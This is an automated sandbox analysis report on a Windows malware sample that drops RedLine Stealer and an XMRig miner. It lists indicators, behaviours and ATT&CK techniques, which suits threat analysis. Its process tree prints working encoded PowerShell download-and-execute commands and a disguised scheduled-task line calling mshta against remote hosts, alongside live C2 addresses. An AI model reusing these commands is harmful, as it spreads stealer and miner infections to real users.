Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-01-2023 11:14

General

  • Target

    file.exe

  • Size

    35KB

  • MD5

    4cf755615a13020d548efdb50075c7f4

  • SHA1

    d7fe35e37bda895f6ead22cda6e918716be2bbf1

  • SHA256

    6e8bf74388ea7fd0920ba751b8815fc3cf8b08718062695e1860ba9afa961e12

  • SHA512

    e0230b47232d3ff6ed0d4de0c63990cbd03e7141c62102045f95b4960ccd75407737426218dd643fee5028932f16e63eed6360d95cbe539882d7d4dfecb39348

  • SSDEEP

    768:l4fwXzHw0maEVLjCFHsGy4r/wOPpdwMNhghy0q9:l44XjxmaEVcu4kmTghy0w

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/me.png

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://62.204.41.194/F1.exe

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/go.png

Extracted

Family

redline

Botnet

$

C2

31.41.244.135:19850

Attributes
  • auth_value

    66623f79e2af33286760f5dd6c4262dc

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4876
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
          PID:2260
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3784
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4832
        • C:\Users\Admin\AppData\Roaming\NoSleep.exe
          "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4264
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1188
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAbABoAG4AIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE8AbgBlAEQAcgBpAHYAZQBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACIAJwApACAAPAAjAG0AeAAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuACkAIAA8ACMAbQB0AHUAdAAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdwAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAbgB3AHEAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABOAG8AUwBsAGUAZQBwAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE8AbgBlAEQAcgBpAHYAZQBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwBlAHEAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAdwBmAGkAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1692
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
        2⤵
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4812
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "OneDrive Standalone Update Task - S - 1 - 5 - 21 - 3301851721 - 4018334294 - 377670162 - 1001" /sc ONLOGON /tr "mshta http://62.204.41.194/c.html " /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:220
    • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
      C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1828
      • C:\Windows\System32\conhost.exe
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2840
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe "cvxjxkjice"
          3⤵
            PID:1632
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe pjsnsurpv0 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZebSGUfj6Vuv+kPoPZ9FoidkTm/7TRz3Cxu5/LqhuwWCS2hvmHfyPTAWIo4zY5OcwjP+79VuJh5O5c9vMH8WB3WKocLPQQ3D/631f214VrDNh9z0jOLbJJ9YXALTSKeo3z0yqpo23wDcDd1T/hDfuDceoldVJQGMTDTCXN0Q0os5qQZpM/bbi7sbKmKkdCHj6mFIu02fq5LlHaQLCNyvHRzVgK320/ko7oR3JyhnmBQHtbZUpiFNPFJEf7lTC77qWxEJ3h4yjiCPgrTI6MoBbSgjAmpPlQgNd71RJ7lG0ikmSTeoT3CddgZH5TjpSuHbPN3ha82GVaI5+j+dJzAfNAaJfxYNDrhTxng1MpRAutdkSftro/iAbX8hcx7q/b7Qg7J3CyclBC4/Mwe/Jeo6Q9AKf6F7/3Yi99ifKM20LuEsFK/pU/n4DnNACnryf3RdME
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2704

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scheduled Task

      1
      T1053

      Persistence

      Registry Run Keys / Startup Folder

      1
      T1060

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Defense Evasion

      Modify Registry

      1
      T1112

      Credential Access

      Credentials in Files

      1
      T1081

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      1
      T1082

      Collection

      Data from Local System

      1
      T1005

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
        Filesize

        642B

        MD5

        0b4ce74a6163ae20974c8ba4fdd4f1fa

        SHA1

        3c645b8b4d9bd437e7f1f74c21304452245dba1c

        SHA256

        2267541e715084f5cda2c56fe4186d937b73a3bb8e31a5e87cdc351ab558d4e7

        SHA512

        d3dd26b2817f22f38acebe03f6487d01421dea27717ac352a03b1b4bfec990d80796458cf608aa25e932bb91cfeedd25d6ced51cf3e554fdc3a1164bc3e5805c

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        eb4d127b8a6f84a1cee423c5e3e3a51d

        SHA1

        c55263a8ff097067f2393ce2120801a445fd1949

        SHA256

        d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

        SHA512

        45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        eb4d127b8a6f84a1cee423c5e3e3a51d

        SHA1

        c55263a8ff097067f2393ce2120801a445fd1949

        SHA256

        d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

        SHA512

        45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        2c6381f0956ca4ef4cd1bc9d3ea93647

        SHA1

        191fe0faeae30f0edb6160450f0daff92930a256

        SHA256

        05ed83ee50759bb488df56dcdd5ed2d222310c4bfbafcfd4c72a90d59da1b12f

        SHA512

        7bccf8e8bef81e8e6f6ec00dc8d3da9a8a5c70a659e914db5bd4607dc89ed9d7c285490202c137a9b56384f2c8139dc709a2716bb146cdacd5a2806bb0783390

      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • memory/220-144-0x0000000000000000-mapping.dmp
      • memory/1188-151-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/1188-166-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/1188-152-0x0000021F22590000-0x0000021F229EB000-memory.dmp
        Filesize

        4.4MB

      • memory/1632-173-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/1632-174-0x0000012DFA720000-0x0000012DFA739000-memory.dmp
        Filesize

        100KB

      • memory/1632-191-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/1692-160-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/1692-154-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/1692-153-0x0000000000000000-mapping.dmp
      • memory/2704-177-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2704-194-0x000001E7C9A60000-0x000001E7C9A80000-memory.dmp
        Filesize

        128KB

      • memory/2704-193-0x000001E7C9A60000-0x000001E7C9A80000-memory.dmp
        Filesize

        128KB

      • memory/2704-192-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2704-187-0x000001E7C99D0000-0x000001E7C9A10000-memory.dmp
        Filesize

        256KB

      • memory/2704-183-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2704-179-0x000001E7C99A0000-0x000001E7C99C0000-memory.dmp
        Filesize

        128KB

      • memory/2704-178-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2704-176-0x000000014036EAC4-mapping.dmp
      • memory/2704-175-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2840-169-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/2840-180-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/2840-172-0x000001DB996D0000-0x000001DB996E2000-memory.dmp
        Filesize

        72KB

      • memory/3784-182-0x0000000005280000-0x0000000005312000-memory.dmp
        Filesize

        584KB

      • memory/3784-186-0x0000000007390000-0x0000000007406000-memory.dmp
        Filesize

        472KB

      • memory/3784-162-0x00000000053F0000-0x0000000005A08000-memory.dmp
        Filesize

        6.1MB

      • memory/3784-190-0x0000000006900000-0x000000000691E000-memory.dmp
        Filesize

        120KB

      • memory/3784-168-0x0000000004FC0000-0x00000000050CA000-memory.dmp
        Filesize

        1.0MB

      • memory/3784-189-0x0000000007940000-0x0000000007E6C000-memory.dmp
        Filesize

        5.2MB

      • memory/3784-170-0x0000000004EF0000-0x0000000004F2C000-memory.dmp
        Filesize

        240KB

      • memory/3784-188-0x0000000006930000-0x0000000006AF2000-memory.dmp
        Filesize

        1.8MB

      • memory/3784-164-0x0000000004E90000-0x0000000004EA2000-memory.dmp
        Filesize

        72KB

      • memory/3784-156-0x0000000000400000-0x0000000000438000-memory.dmp
        Filesize

        224KB

      • memory/3784-185-0x00000000066D0000-0x0000000006720000-memory.dmp
        Filesize

        320KB

      • memory/3784-184-0x0000000005320000-0x0000000005386000-memory.dmp
        Filesize

        408KB

      • memory/3784-157-0x000000000041837E-mapping.dmp
      • memory/3784-181-0x0000000005FC0000-0x0000000006564000-memory.dmp
        Filesize

        5.6MB

      • memory/4264-145-0x0000000000000000-mapping.dmp
      • memory/4772-141-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/4772-143-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/4772-142-0x000001DE29EB0000-0x000001DE29ED2000-memory.dmp
        Filesize

        136KB

      • memory/4772-136-0x0000000000000000-mapping.dmp
      • memory/4812-165-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/4812-140-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/4812-133-0x0000000000000000-mapping.dmp
      • memory/4832-150-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/4832-134-0x0000000000000000-mapping.dmp
      • memory/4832-139-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/4876-171-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/4876-135-0x0000000000000000-mapping.dmp
      • memory/4876-163-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/4876-138-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/4900-137-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp
        Filesize

        10.8MB

      • memory/4900-132-0x0000000000320000-0x0000000000330000-memory.dmp
        Filesize

        64KB